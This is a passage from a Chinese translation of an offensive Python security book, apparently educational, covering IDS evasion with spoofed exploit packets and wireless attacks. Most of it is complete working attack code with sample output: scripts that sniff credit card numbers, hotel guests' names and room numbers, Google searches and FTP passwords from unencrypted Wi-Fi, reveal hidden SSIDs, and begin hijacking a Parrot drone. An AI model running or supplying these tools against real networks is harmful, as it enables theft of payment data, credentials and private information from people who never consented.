IP(src=src,dst=dst)/ICMP(type=0)/Raw(load='AAAAAAAAAA') send(pkt, iface=iface, count=count) pkt = IP(src=src,dst=dst)/UDP(dport=31335)/Raw(load='PONG') send(pkt, iface=iface, count=count) pkt = IP(src=src,dst=dst)/ICMP(type=0,id=456) send(pkt, iface=iface, count=count) def exploitTest(src, dst, iface, count): pkt = IP(src=src, dst=dst) / UDP(dport=518) /Raw(load="\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\xE8") send(pkt, iface=iface, count=count) pkt = IP(src=src, dst=dst) / UDP(dport=635) /Raw(load="^\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x89F") send(pkt, iface=iface, count=count) def scanTest(src, dst, iface, count): pkt = IP(src=src, dst=dst) / UDP(dport=7) /Raw(load='cybercop') send(pkt) pkt = IP(src=src, dst=dst) / UDP(dport=10080) /Raw(load='Amanda') send(pkt, iface=iface, count=count) def main(): parser = optparse.OptionParser('usage%prog -i -s -t -c ') parser.add_option('-i', dest='iface', type='string', help='specify network interface') parser.add_option('-s', dest='src', type='string', help='specify source address') parser.add_option('-t', dest='tgt', type='string', help='specify target address') parser.add_option('-c', dest='count', type='int', help='specify packet count') (options, args) = parser.parse_args() if options.iface == None: iface = 'eth0' else: iface = options.iface if options.src == None: src = '.'.join([str(randint(1,254)) for x in range(4)]) else: src = options.src if options.tgt == None: print(parser.usage) exit(0) else: dst = options.tgt if options.count == None: count = 1 else: count = options.count ddosTest(src, dst, iface, count) exploitTest(src, dst, iface, count) scanTest(src, dst, iface, count) if __name__ == '__main__': main() 执行我们最终的脚本,我们可以看到它正确的发送了八个数据包到目标地址, 欺骗源地址为 1.3.3.7。为了测试目的,确保目标主机和攻击者的机器不同。 attacker# python idsFoil.py -i eth0 -s 1.3.3.7 -t 192.168.1.106 -c 1 Sent 1 packets. Sent 1 packets. Sent 1 packets. Sent 1 packets. Sent 1 packets. Sent 1 packets. Sent 1 packets. Sent 1 packets. 分析 IDS 的日志,我们看到它很快就填满了八个警告消息。棒极了!我们的工 具包工作了,本章结束! victim# snort -q -A console -i eth0 -c /etc/snort/snort.conf 03/14-11:45:01.060632 [**] [1:222:2] DDOS tfn2k icmp possible communication [**] [Classification: Attempted Denial of Service] [Priority: 2] {ICMP} 1.3.3.7 -> 192.168.1.106 03/14-11:45:01.066621 [**] [1:223:3] DDOS Trin00 Daemon to Master PONG message detected [**] [Classification: Attempted Information Leak] [Priority: 2] {UDP} 1.3.3.7:53 -> 192.168.1.106:31335 03/14-11:45:01.069044 [**] [1:228:3] DDOS TFN client command BE [**] [Classification: Attempted Denial of Service] [Priority: 2] {ICMP} 1.3.3.7 -> 192.168.1.106 03/14-11:45:01.071205 [**] [1:313:4] EXPLOIT ntalkd x86 Linux overflow [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {UDP} 1.3.3.7:53 -> 192.168.1.106:518 03/14-11:45:01.076879 [**] [1:315:6] EXPLOIT x86 Linux mountd overflow [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {UDP} 1.3.3.7:53 -> 192.168.1.106:635 03/14-11:45:01.079864 [**] [1:636:1] SCAN cybercop udp bomb [**] [Classification: Potentially Bad Traffic] [Priority: 2] {UDP} 1.3.3.7:53 -> 192.168.1.106:7 03/14-11:45:01.082434 [**] [1:634:2] SCAN Amanda client version request [**] [Classification: Attempted Information Leak] [Priority: 2] {UDP} 1.3.3.7:53 -> 192.168.1.106:10080 本章总结 恭喜你!我们在这一章编写了相当多的工具用来分析网络流量。我们从编写简 单的检测极光攻击工具开始。接下来,我们编写了一些脚本来检测 Anonymous 黑客组织的 LOIC 工具的攻击。接下来,我们重现了 7 岁的 Moore 用来检测五角大楼的诱饵扫描程序。接下来,我们创建了一些脚本用来 检测利用 DNS 作为攻击向量的攻击。包括 Storm 和 Conficker 蠕虫。有了分析 流量的能力,我们重现了 20 年前米特尼克用于攻击的程序。最后,我们利用我 们的网络分析技能伪造数据包挫败了入侵检测系统。 希望本章为您提供了极好的网络流量分析技能。在下一章我们编写无线网络审 计和移动设备的工具时这些技能是有用的。 第 5 章:无线攻击 本章内容: 1.嗅探无线网络的私人信息 2.监听请求网络和识别隐藏的无线网络 3.控制无线无人机 4.确认 Firesheep 的使用 5.潜入蓝牙设备 6.渗透利用蓝牙漏洞 知识的增长并不是和树一样,种植一棵树,你只要把它放进地里,盖上点土, 定期为他浇水就行。知识的增长却伴随着时间,工作和长期的努力。除此之外, 不能用任何手段获得知识。 —美国拳击顶级大师,Ed Parker 简介:无线安全和冰人 2007 年 5 月,美国特勤局逮捕了一名无线黑客 Max Ray Butler,也被成为冰人。 Mr. Butler 通过一个网站销售了成千上万的信用卡账户信息。但是他是怎样收集 这些私人信息的?嗅探未加密的无线网络连接被证明是他获取信用卡账户信息 的方法之一。它使用假身份租用酒店房间和公寓,然后使用大功率的天线拦截 酒店和附近公寓的无线接入点的通讯,以捕捉客人的私人信息。很多时候,媒 体专家分类这种攻击为“精细的和复杂的”。这样的描述是危险的,因为我们可 以用短的 Python 脚本来执行这种攻击。正如下面章节您将看到的,我们可以用 不到 25 行代码嗅探信用卡账户信息,但是在开始之前,我们应确保我们的环境 设置正确。 设置你的无线攻击环境 在下面的章节中,我们将编写代码嗅探无线网络流量并发送 802.11 数据帧。我 们将使用一个增益 Hi-Gain USB 无线网络适配器和网络放大器来创建和测试本 章脚本。在 BackTrack5 中的默认网卡驱动允许用户进入混杂模式并发送原始数 据帧。此外,它还包含一个外部天线连接,能够让我们附加大功率天线。 用 Scapy 测试捕获无线网络 将无线网卡设置到混杂模式,我们使用 aircrack-ng 工具套件,使用 iwconfig 命 令列出我们的无线网络适配器。接下来,我们运行命令 airmon-ng start wlan0 开启混杂模式。这将创建一个新的 mon0 适配器。 attacker# iwconfig wlan0 wlan0 IEEE 802.11bgn ESSID:off/any Mode:Managed Access Point: Not-Associated Retry long limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:on attacker# airmon-ng start wlan0 Interface Chipset Driver wlan0 Ralink RT2870/3070 rt2800usb - [phy0] (monitor mode enabled on mon0) 让我们快速测试,我们可以捕获无线网络流量在将网卡设置为混杂模式之后。 注意,我们设置新创建的监控接口 mon0 到我们的 conf.iface。监听到每个数据 包,脚本将运行 ptkPrint()函数。如果数据包包含 802.11 标识,802.11 响应, TCP 数据包或 DNS 流量程序将打印一个消息。 from scapy.all import * def pktPrint(pkt): if pkt.haslayer(Dot11Beacon): print('[+] Detected 802.11 Beacon Frame') elif pkt.haslayer(Dot11ProbeReq): print('[+] Detected 802.11 Probe Request Frame') elif pkt.haslayer(TCP): print('[+] Detected a TCP Packet') elif pkt.haslayer(DNS): print('[+] Detected a DNS Packet') conf.iface = 'mon0' sniff(prn=pktPrint) 运行脚本后,我们可以看到一些流量。发现的流量包括 802.11 寻找网络的探测 请求,802.11 指示帧流量,和 DNS,TCP 数据包。从这一点上我们看到我们的 网卡工作了。 安装 Python 的蓝牙包 在本章我们将覆盖一些蓝牙攻击。为了编写 Python 的蓝牙脚本,我们将利用 Python 绑定到 LInux Bluez 的应用程序接口和 obexftp API。使用 apt-get install 来安装。 attacker# sudo apt-get install python-bluez bluetooth python- obexftp Reading package lists... Done Building dependency tree Reading state information... Done <..SNIPPED..> Unpacking bluetooth (from .../bluetooth_4.60-0ubuntu8_all.deb) Selecting previously deselected package python-bluez. Unpacking python-bluez (from .../python-bluez_0.18-1_amd64.deb) Setting up bluetooth (4.60-0ubuntu8) ... Setting up python-bluez (0.18-1) ... Processing triggers for python-central . 此外,我们必须获取一个蓝牙设备。最新的 Cambridge Silicon Radio (CSR)芯 片组在 LInux 下工作的很好。本章节中的脚本,我们将使用 SENA Parani UD100 USB 蓝牙适配器,为了测试操作系统是否识别该设备,运行 hciconfig 配置命令,这将打印出蓝牙设备的详细信息。 attacker# hciconfig hci0: Type: BR/EDR Bus: USB BD Address: 00:40:12:01:01:00 ACL MTU: 8192:128 UP RUNNING PSCAN RX bytes:801 acl:0 sco:0 events:32 errors:0 TX bytes:400 acl:0 sco:0 commands:32 errors:0 在本章中,我们将伪造和截取蓝牙帧。我会在后面的章节中在此提到,但是知 道 BackTrack5 r1 中有一个小错误,它缺乏一个重要的内核模块发送原始的蓝 牙数据包,因为这个原因,你必须升级你的系统或内核到 BackTrack5 r2。 下面的章节将很精彩。我们将嗅探应用卡信息,用户证书,远程操纵无人机, 辨认无线黑客,追踪并渗透蓝牙设备。请经常检查有关监听无线网络和蓝牙的 法律信息。 绵羊墙---被动的监听无线网络的秘密 自从 2011 年,绵羊墙已经成为了 DEFCON 安全会议的一部分了。被动的,团 队监听用户登陆的邮件,网站或者其他的网络服务,而没有任何的保护和加密。 当团队检测到任何的凭证,他们将把凭证显示道会议楼的大屏幕上。近年来团 队增加了一个项目叫 Peekaboo,显示出无线通讯流量的图像。尽管是善意的, 团队很好的演示了黑客是怎样捕获到相同的信息的。在下面的章节中,我们将 创建几个攻击从空气中偷有趣的信息。 使用 Python 的正则表达式嗅探信用卡 在嗅探无线网络的信用卡信息之前,快速的回顾正则表达式是很有用的。正则 表达式提供了匹配特定文本中的字符串的方法。Python 提供了关于正则表达式 的模块(re)。(正则表达式具体规则略) 攻击者可以使用正则表达式来匹配信用卡号码。为了简化我们的脚本,我们将 使用三大信用卡:Visa, MasterCard, 和 American Express。如果你想了解更多 的关于编写信用卡的正则表达式的知识,可以访问包含其他厂商的占则表达式 的网站:http://www.regular-expressions.info/creditcard.html。美国运通信用 卡以 34 或者 37 开头共 15 位数字。让我们编写一个小函数检查字符串确认它 是否包含美国运通信用卡号。如果包含,我们将打印该信息在屏幕上,注意下 面的正则表达式,它确保信用卡必须以 3 开头,后面跟随着 4 或者 7,接下来 正则表达式匹配 13 位数字确保共 15 位长。 import re def findCreditCard(raw): americaRE= re.findall("3[47][0-9]{13}", raw) if americaRE: print("[+] Found American Express Card: "+americaRE[0]) def main(): tests = [] tests.append('I would like to buy 1337 copies of that dvd') tests.append('Bill my card: 378282246310005 for \$2600') for test in tests: findCreditCard(test) if __name__ == "__main__": main() 运行我们的测试程序,我们看到它正确的找到了信用卡号码。 attacher$ python americanExpressTest.py [+] Found American Express Card: 378282246310005 现在,探究正则表达式必须找到 MasterCards 和 Visa 的信用卡号。 MasterCards 的信用卡号以 51 或者 55 开头共 16 位数。Visa 的信用卡号以 4 开 头,并且 13 位或者 16 位数字。让我们扩展我们的函数找到 MasterCard 和 Visa 信用卡号。注意,MasterCard 信用卡号正则表达式匹配 5 后面跟着 1 或者 5 接着 14 位共 16 位。Visa 正则表达式以 4 开头后面跟着 12 更多的数,我们 将在接受 0 或者 3 位数来确保 13 位或者 16 位数。 def findCreditCard(pkt): raw = pkt.sprintf('%Raw.load%') americaRE = re.findall('3[47][0-9]{13}', raw) masterRE = re.findall('5[1-5][0-9]{14}', raw) visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw) if americaRE: print('[+] Found American Express Card: ' + americaRE[0]) if masterRE: print('[+] Found MasterCard Card: ' + masterRE[0]) if visaRE: print('[+] Found Visa Card: ' + visaRE[0]) 现在我们必须从嗅探到的无线数据包中匹配正则表达式。请记住我们使用混杂 模式嗅探的目的,因为它允许我们观察不管是不是给我们的数据包。为了解析 我们截获的无线数据包,我们使用 Scapy 库。注意,我们使用 sniff()函数, sniff()函数将每一个经过的数据包作为参数传给 findCreditCard()函数。不到 25 行的 Python 代码,我们创建了一个偷取信用卡信息的小程序。 # coding=UTF-8 import re import optparse from scapy.all import * def findCreditCard(pkt): raw = pkt.sprintf('%Raw.load%') americaRE = re.findall('3[47][0-9]{13}', raw) masterRE = re.findall('5[1-5][0-9]{14}', raw) visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw) if americaRE: print('[+] Found American Express Card: ' + americaRE[0]) if masterRE: print('[+] Found MasterCard Card: ' + masterRE[0]) if visaRE: print('[+] Found Visa Card: ' + visaRE[0]) def main(): parser = optparse.OptionParser('usage % prog -i') parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on') (options, args) = parser.parse_args() if options.interface == None: print parser.usage exit(0) else: conf.iface = options.interface try: print('[*] Starting Credit Card Sniffer.') sniff(filter='tcp', prn=findCreditCard, store=0) except KeyboardInterrupt: exit(0) if __name__ == '__main__': main() 显然,我们不打算盗取任何人的信用卡数据。事实上,这个攻击的无线黑客小 偷被关了 20 年。但是希望你意识到这种攻击相对比较交单没有一般人为的那么 复杂。在下一节中,我们将演示一个单独的情景,我们将攻击一个未加密的无 线网络并盗取私人信息。 嗅探旅馆客人 大多数旅馆提供公开的无线网络。通常这些网络没有加密也缺乏任何企业忍着 或者加密控制。本节将验证,及行 Python 代码就能渗透利用这个情况,导致灾 难性的公共信息泄露。 最近,我呆在一家提供无线连接的旅馆当客人。当连接到无线网络之后,我的 浏览器指向一个网页要求登陆这个网络。网络凭证包含我的姓名和房间号,提 供此信息后,我的浏览器发布了一个未加密的 HTTP 页面返回到服务器接受认 证 cookie。检查这个初始的 HTTP 提交,显示了一些有趣的东西。我注意到一 个字符串 PROVIDED_LAST_NAME=OCONNOR&PROVIDED_ROOM_NUMBER=1337。 明文传输到旅馆服务器的包含我的姓名和房间号码。服务器没有试图保护这些 信息,我的浏览器简单的发送这些透明的信息。对于这个特殊的酒店,客户的 姓名和房间号被用来点餐,按摩服务甚至是购买礼品,所以你可以想到酒店的 客户不想黑客得到他们的私人信息。 POST /common_ip_cgi/hn_seachange.cgi HTTP/1.1 Host: 10.10.13.37 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_1) AppleWebKit/534.48.3 (KHTML, like Gecko) Version/5.1 Safari/534.48.3 Content-Length: 128 Accept: text/html,application/xhtml+xml,application/ xml;q=0.9,*/*;q=0.8 Origin:http://10.10.10.1 DNT: 1 Referer:http://10.10.10.1/common_ip_cgi/hn_seachange.cgi Content-Type: application/x-www-form-urlencoded Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: keep-alive SESSION_ID= deadbeef123456789abcdef1234567890 &RETURN_ MODE=4&VALIDATION_FLAG=1&PROVIDED_LAST_NAME=OCONN OR&PROVIDED_ROOM_ NUMBER=1337 我们现在可以使用 Python 从酒店用户哪里捕获信息。开始是一个很简单的 Python 嗅探器。首先,我们将确认我们捕获流量的接口,接着,我们用 sniff()函数嗅探监听流量,注意这个函数过滤,只监听 TCP 流量数据包,我们 将函数命令为 findGuest()。 conf.iface = "mon0" try: print "[*] Starting Hotel Guest Sniffer." sniff(filter="tcp", prn=findGuest, store=0) except KeyboardInterrupt: exit(0) 当 findGuest 函数接收到数据包,它将确认拦截的数据包是否包含任何私人信 息。首先它复制原始数据到变量 raw 中,然后我们建立一个正则表达式来解析 姓名和客人的房间号码。注意我们的正则表达式接受任何以 LAST_NAME 开始 的字符串,和一个终止符号&。正则表达式为了酒店号码捕获任何以 ROOM_NUMBER 开头的字符串。 def findGuest(pkt): raw = pkt.sprintf("%Raw.load%") name=re.findall("(?i)LAST_NAME=(.*)&",raw) room=re.findall("(?i)ROOM_NUMBER=(.*)'",raw) if name: print("[+] Found Hotel Guest "+str(name[0]) + ", Room #" + str(room[0])) 将所有的放在一起,我们现在有一个无线网络嗅探器捕获任何连接到这个酒店 无线网络上的客户的姓名和房间号。请注意,为了有嗅探流量和分析数据包的 能力,我们需要导入 Scapy 库。 # coding=UTF-8 import optparse from scapy.all import * def findGuest(pkt): raw = pkt.sprintf("%Raw.load%") name=re.findall("(?i)LAST_NAME=(.*)&",raw) room=re.findall("(?i)ROOM_NUMBER=(.*)'",raw) if name: print("[+] Found Hotel Guest "+str(name[0]) + ", Room #" + str(room[0])) def main(): parser = optparse.OptionParser('usage %prog -i') parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on') (options, args) = parser.parse_args() if options.interface == None: print(parser.usage) exit(0) else: conf.iface = options.interface try: print('[*] Starting Hotel Guest Sniffer.') sniff(filter='tcp', prn=findGuest, store=0) except KeyboardInterrupt: exit(0) if __name__ == '__main__': main() 运行我们的酒店嗅探程序,我们可以看到黑客是怎样确认酒店住了那些人的。 attacker# python hotelSniff.py -i wlan0 [*] Starting Hotel Guest Sniffer. [+] Found Hotel Guest MOORE, Room #1337 [+] Found Hotel Guest VASKOVICH, Room #1984 [+] Found Hotel Guest BAGGETT, Room #43434343 我应该有足够的强调,收集个人信息已经违反了一些州,国家的法律。在下一 节,我们将进一步扩大我们嗅探无线网络的能力,通过解析 Google 搜索。 构建 Google 无线搜索记录器 你可能注意到 Google 搜索引擎提供接近即时的反馈,当你在搜索框中输入时。 取决于你连接网络的速度,你的浏览器会发送一个 HTTP GET 请求几乎在你每 输入一个字符到搜索框中时。检查下面到 Google 的 HTTP GET 请求,当我搜索 字符串“what is the meaning of life?”时,请注意,搜索以 q=我的字符串开始, 然后以&结束 pq=跟着以前的搜索。 GET /s?hl=en&cp=27&gs_id=58&xhr=t&q=what%20is%20the%20me aning%20of%20life&pq=the+number+42&<..SNIPPED..> HTTP/1.1 Host: www.google.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/534.51.22 (KHTML, like Gecko) Version/5.1.1 Safari/534.51.22 <..SNIPPED..> q= Query, what was typed in the search box pq= Previous query, the query prior to the current search hl= Language, default en[glish] defaults, but try xx-hacker for fun as_epq= Exact phrase as_filetype= File format, restrict to a specific file type such as .zip as_sitesearch= Restrict to a specific site such as www.2600.com 有了 Google 搜索引擎的知识在手,让我们快速构建一个无线数据包嗅探器,实 时打印我们拦截到的他们搜索的东西。这一次我们将使用函数 findGoogle()处 理嗅探的数据包。这里我们将复制数据包的内容数据到 payload 变量,如果这 个 payload 包含 HTTP GET 我们就能构建一个正则表达式找到当前 Google 的搜 索字符串。最后我们将清除结果字符串,HTTP URL 不能包含任何空格字符。 为了避免这个问题,我们的浏览器将编码空格为+或者%20,在 URL 中。为了 正确的转换这些信息,我们必须解码任何+或者%20 为空格。 def findGoogle(pkt): if pkt.haslayer(Raw): payload = pkt.getlayer(Raw).load if 'GET' in payload: if 'google' in payload: r = re.findall(r'(?i)\&q=(.*?)\&', payload) if r: search = r[0].split('&')[0] search = search.replace('q=', '').replace('+', ' ').replace('%20', ' ') print('[+] Searched For: ' + search) 将我们整个 Google 嗅探器的脚本放在一起,我们现在可以看到他们搜索过的 Google 内容。请注意,我们现在可以使用 sniff()函数过滤只要 TCP 80 端口的 流量。虽然 Google 提供发送在 443 端口 HTTPS 的流量的能力,捕获这个流量 事没有用的,因为是加密的。因此我们只捕获 80 端口的 HTTP 流量。 # coding=UTF-8 import optparse from scapy.all import * def findGoogle(pkt): if pkt.haslayer(Raw): payload = pkt.getlayer(Raw).load if 'GET' in payload: if 'google' in payload: r = re.findall(r'(?i)\&q=(.*?)\&', payload) if r: search = r[0].split('&')[0] search = search.replace('q=', '').replace('+', ' ').replace('%20', ' ') print('[+] Searched For: ' + search) def main(): parser = optparse.OptionParser('usage %prog -i ') parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on') (options, args) = parser.parse_args() if options.interface == None: print parser.usage exit(0) else: try: conf.iface = options.interface print('[*] Starting Google Sniffer.') sniff(filter='tcp port 80', prn=findGoogle) except KeyboardInterrupt: exit(0) if __name__ == '__main__': main() 在使用未加密的网络连接中运行我们的脚本,我们可以看到别人的搜索内容。 拦截 Google 流量可能有点令人为难,下一节,拦截用户的凭据的手段更加能证 明一个组织的安全局势。 attacker# python googleSniff.py -i mon0 [*] Starting Google Sniffer. [+] W [+] What [+] What is [+] What is the mean [+] What is the meaning of life? Google URL 搜索参数 Google URL 搜索参数提供了许多有价值的 额外信息,这些信息对建立你的 Google 搜索记录器很有用。解析出的查询,先 前查询,语言,特定的短语搜索文本类型或者受限制的站点都可以添加到我们 的记录器。更多信息请到:http://www.google.com/cse/docs/resultsxml.html 嗅探 FTP 认证 FTP 协议缺乏任何的加密算法来保护用户认证。黑客能轻松的拦截这些任何当 受害者在这种为加密的网络。看下面的 tcpdump 显示我们拦截的用户凭证。 FTP 协议通过明文交换凭证。 attacker# tcpdump -A -i mon0 'tcp port 21' E..(..@.@.q..._...........R.=.|.P.9..... 20:54:58.388129 IP 192.168.95.128.42653 > 192.168.211.1.ftp: Flags [P.], seq 1:17, ack 63, win 14600, length 16 E..8..@.@.q..._...........R.=.|.P.9.....USER root 20:54:58.388933 IP 192.168.95.128.42653 > 192.168.211.1.ftp: Flags [.], ack 112, win 14600, length 0 E..(..@.@.q..._...........R.=.|.P.9..... 20:55:00.732327 IP 192.168.95.128.42653 > 192.168.211.1.ftp: Flags [P.], seq 17:33, ack 112, win 14600, length 16 E..8..@.@.q..._...........R.=.|.P.9.....PASS secret 为了拦截这些凭证,我们寻找两个特殊的字符串。第一个字符串包含 USER 接 着就是用户名,第二个字符串是 PASS 接着就是密码。我们在 tcpdump 的数据 中看到这些凭证。我们将设计两个正则表达式来捕获这些信息。我们也将从数 据包中剥离 IP 地址。不知道服务器的 IP 地址用户名和密码是毫无价值的。 from scapy.all import * def ftpSniff(pkt): dest = pkt.getlayer(IP).dst raw = pkt.sprintf('%Raw.load%') user = re.findall('(?i)USER (.*)', raw) pswd = re.findall('(?i)PASS (.*)', raw) if user: print('[*] Detected FTP Login to ' + str(dest)) print('[+] User account: ' + str(user[0])) elif pswd: print('[+] Password: ' + str(pswd[0])) 将所有的脚本放在一起,我们只嗅探 21 端口的 TCP 流量。我们还添加一些选 项来选择嗅探器使用的网络适配器。运行这个脚本允许我们拦截 FTP 登陆凭证。 # coding=UTF-8 import optparse from scapy.all import * def ftpSniff(pkt): dest = pkt.getlayer(IP).dst raw = pkt.sprintf('%Raw.load%') user = re.findall('(?i)USER (.*)', raw) pswd = re.findall('(?i)PASS (.*)', raw) if user: print('[*] Detected FTP Login to ' + str(dest)) print('[+] User account: ' + str(user[0])) elif pswd: print('[+] Password: ' + str(pswd[0])) def main(): parser = optparse.OptionParser('usage %prog -i') parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on') (options, args) = parser.parse_args() if options.interface == None: print parser.usage exit(0) else: conf.iface = options.interface try: sniff(filter='tcp port 21', prn=ftpSniff) except KeyboardInterrupt: exit(0) if __name__ == '__main__': main() 运行我们的脚本,我们检测到一个登陆的 FTP 服务器,并显示用户的凭证和登 陆的服务器。我们现在有一个少于 30 行 Python 代码的 FTP 凭证嗅探器。当用 户的证书可以为我们提供对网络的访问,在下一节中,我们将使用无线监听探 测用户的历史记录。 attacker:∼# python ftp-sniff.py -i mon0 [*] Detected FTP Login to 192.168.211.1 [+] User account: root\r\n [+] Password: secret\r\n 你的笔记本去过哪?Python 解答 几年前我教了一个无无线安全的课程,为了让学生听讲我关闭了房间里的无线 网络,也是为了防止他们攻击任何的受害者。我以无线网络扫描的演示作为课 程的开始,发现了一些有趣的东西,在房间里探测到几个客户端试图连接的首 选网络。一个特别的学生刚从洛杉矶回来,他的电脑探测到 LAX_Wireless 和 Hooters_WiFi,我开了一个玩笑,问学生在 Hooters Restaurant 的停留是否满 意。他很惊讶,我怎么知道这些信息? 监听 802.11 探测请求 为了提供一个无缝的连接,你的电脑和手机经常保持一个首选的网络列表,其 中包括你先前成功连接过的无线网络名称。当你的电脑开机或者网络断开后, 你的电脑经常发送 802.11 探测请求搜索列表中的每一个网络名称。 让我们快速的编写一个检测 802.11 网络请求的工具。在这个例子中,我们称呼 我们处理数据包的函数为 sniffProbe()。注意,我们将整理出 802.11 探测请求 通过检测数据包是否 haslayer(Dot11ProbeReq)。如果请求包含新的网络名称我 们将打印他们在屏幕上。 from scapy.all import * interface = 'mon0' probeReqs = [] def sniffProbe(p): if p.haslayer(Dot11ProbeReq): netName = p.getlayer(Dot11ProbeReq).info if netName not in probeReqs: probeReqs.append(netName) print('[+] Detected New Probe Request: ' + netName) sniff(iface=interface, prn=sniffProbe) 现在我们可以运行我们的脚本看看来自附近电脑或者手机的探测请求。这允许 我们看到客户机的首选网络列表。 attacker:∼# python sniffProbes.py [+] Detected New Probe Request: LAX_Wireless [+] Detected New Probe Request: Hooters_WiFi [+] Detected New Probe Request: Phase_2_Consulting [+] Detected New Probe Request: McDougall_Pizza 找到隐藏的 802.11 网络标识 虽然大多数网络公开他们的网络名称(SSID),一些无线网络还是使用隐藏的 SSID 防止他们的网络名称别发现。802.11 标识帧中的字段通常包含网络名称。 在隐藏的网络中,接入点的这个字段为空白,检测一个隐藏的网络时相当容易 的。但是我们只能搜索到空白字段的 802.11 标识帧。在下面的例子中,我们将 寻找这些帧并打印出这些接入点的 MAC 地址。 def sniffDot11(p): if p.haslayer(Dot11Beacon): if p.getlayer(Dot11Beacon).info == '': addr2 = p.getlayer(Dot11).addr2 if addr2 not in hiddenNets: print('[-] Detected Hidden SSID: with MAC:' + addr2) 没有隐藏的 802.11 网络 当接入点离开断开隐藏的网络,它将发送名称在探测响应中。一个探测响应通 常发生在客户端发送的探测请求。为了发现隐藏的名字,我们必须等待一个探 测响应匹配我们 802.11 标识帧中的 MAC 地址。我们将两个小的数组加到我们 的 Python 脚本一起使用。首先,hiddenNets,跟踪我们看到的隐藏网络的 MAC 地址。第二,unhiddenNets,追踪已经公开的网络,当检测到一个空名称 的 802.11 标识帧时,我们将他家到我们的隐藏网络数组。当我们检测到 802.11 探测响应时,我们将抽取网络名称。我们可以检查 hiddenNets 数组看 看是否包含这些值,确保 unhiddenNets 不包含这些值。如果情况属实,我们可 以解析网络名称并打印在屏幕上。 # coding=UTF-8 import sys from scapy.all import * interface = 'mon0' hiddenNets = [] unhiddenNets = [] def sniffDot11(p): if p.haslayer(Dot11ProbeResp): addr2 = p.getlayer(Dot11).addr2 if (addr2 in hiddenNets) & (addr2 not in unhiddenNets): netName = p.getlayer(Dot11ProbeResp).info print '[+] Decloaked Hidden SSID: ' + netName + ' for MAC: ' + addr2 unhiddenNets.append(addr2) if p.haslayer(Dot11Beacon): if p.getlayer(Dot11Beacon).info == '': addr2 = p.getlayer(Dot11).addr2 if addr2 not in hiddenNets: print '[-] Detected Hidden SSID: ' + 'with MAC:' + addr2 hiddenNets.append(addr2) sniff(iface=interface, prn=sniffDot11) 运行我们的脚本,它正确的识别了一些隐藏的网络和公开的网络,不到 30 行代 码,他令人兴奋了!在下一节中,我们将转换积极的无线攻击,换就话说就是 伪造数据包接管无人机。 attacker:∼# python sniffHidden.py [-] Detected Hidden SSID with MAC: 00:DE:AD:BE:EF:01 [+] Decloaked Hidden SSID: Secret-Net for MAC: 00:DE:AD:BE:EF:01 用 Python 拦截和监视无人机 在 2009 年的夏天,美军在伊拉克注意到一些有趣的事。当美军收集叛乱者的 笔记本时,美军发现他们的电脑上有美军的无人机视频。笔记本显示美军的无 人机被叛乱者劫持了数百个小时。经过进一步的调查,情报人员发现叛乱者使 用价值 26 美元的软件 SkyGrabber 拦截了无人机。更令他们惊讶的是,空军的 无人机程序发送到地面控制中心的视频没有加密。SkyGrabber 软件通常用来拦 截未加密的卫星电视数据。甚至不需要任何配置就可以拦截美军无人机视频。 攻击美军的无人机违反了美国的爱国者法案,所以让我们找一些不违法的目标 攻击。Parrot Ar.Drone 的无人机是一个良好的目标,一个开源的基于 Linux 的 无人机,它允许 iPhone/Ipad 应用程序通过未加密的 WIFI 控制无人机。价格 300 美元,一个业余爱好者可以从 http://ardrone.parrot.com/购买无人机。用 我们已经知道的工具,我们可以控制我们的目标无人机。 拦截流量,检测协议 让我们先了解无人机和 iPhone 如何通讯。将无线适配器设置到混杂模式,我们 要学习无人机和 iPhone 之间如何通过 WIFI 网络建立连接。阅读无人机知道之 后,我们知道 MAC 过滤是唯一保护连接的安全机制。只有配对的 iPhone 才能 对无人机发送指令。为了接管无人机,我们需要学习指令的协议,然后重新发 送这些指令。 首先,我们将我们的无线适配器设置为混杂模式监听流量,一个快速的 tcpdump 显示流量来自无人机和 iPhone 的 UDP 5555 端口。快速分析后,我们 可以推测这流量包含了无人机视频下载,因为有大量的数据朝同一方向。相反, 导航命令似乎从直接从 iPhone 的 UDP 5556 端口发送。 attacker# airmon-ng start wlan0 Interface Chipset Driver wlan0 Ralink RT2870/3070 rt2800usb - [phy0] (monitor mode enabled on mon0) attacker# tcpdump-nn-i mon0 16:03:38.812521 54.0 Mb/s 2437 MHz 11g -59dB signal antenna 1 [bit 14] IP 192.168.1.2.5556 > 192.168.1.1.5556: UDP, length 106 16:03:38.839881 54.0 Mb/s 2437 MHz 11g -57dB signal antenna 1 [bit 14] IP 192.168.1.2.5556 > 192.168.1.1.5556: UDP, length 64 16:03:38.840414 54.0 Mb/s 2437 MHz 11g -53dB signal antenna 1 [bit 14] IP 192.168.1.1.5555 > 192.168.1.2.5555: UDP, length 25824 知道 iPhone 通过 UDP 5556 端口发送指令控制无人机,我们建立一个小的 Python 脚本来解析导航命令。请注意,我们的脚本打印原始的 UDP 5556 的导 航数据。 from scapy.all import * NAVPORT = 5556 def printPkt(pkt): if pkt.haslayer(UDP) and pkt.getlayer(UDP).dport == NAVPORT: raw = pkt.sprintf('%Raw.load%') print raw conf.iface = 'mon0' sniff(prn=printPkt) 运行这个脚本给我们看看无人机的指令协议。我们看到协议使用的语法是: AT*CMD*=SEQUENCE_NUMBER,VALUE,[VALUE{3}]。记录很长时间的流量, 我们学会了三个简单的指令,这将会被我们的攻击所利用。命令 AT*REF=$SEQ, 290717696\r 是发送无人家降落的命令。其次,命令 AT*REF=$SEQ,290717952\r 发送一个紧急降落的命令,立即切断引擎。命令 AT*REF=SEQ, 290718208\r 发送给无人机一个起飞指令。最后,我们可以用命 令 AT*PCMD=SEQ, Left_Right_Tilt, Front_Back_Tilt, Vertical_Speed,Angular_Speed\r 来控制无人机。我们现在知道足够的指令来攻 击无人机了。 attacker# python uav-sniff.py 'AT*REF=11543,290718208\r' 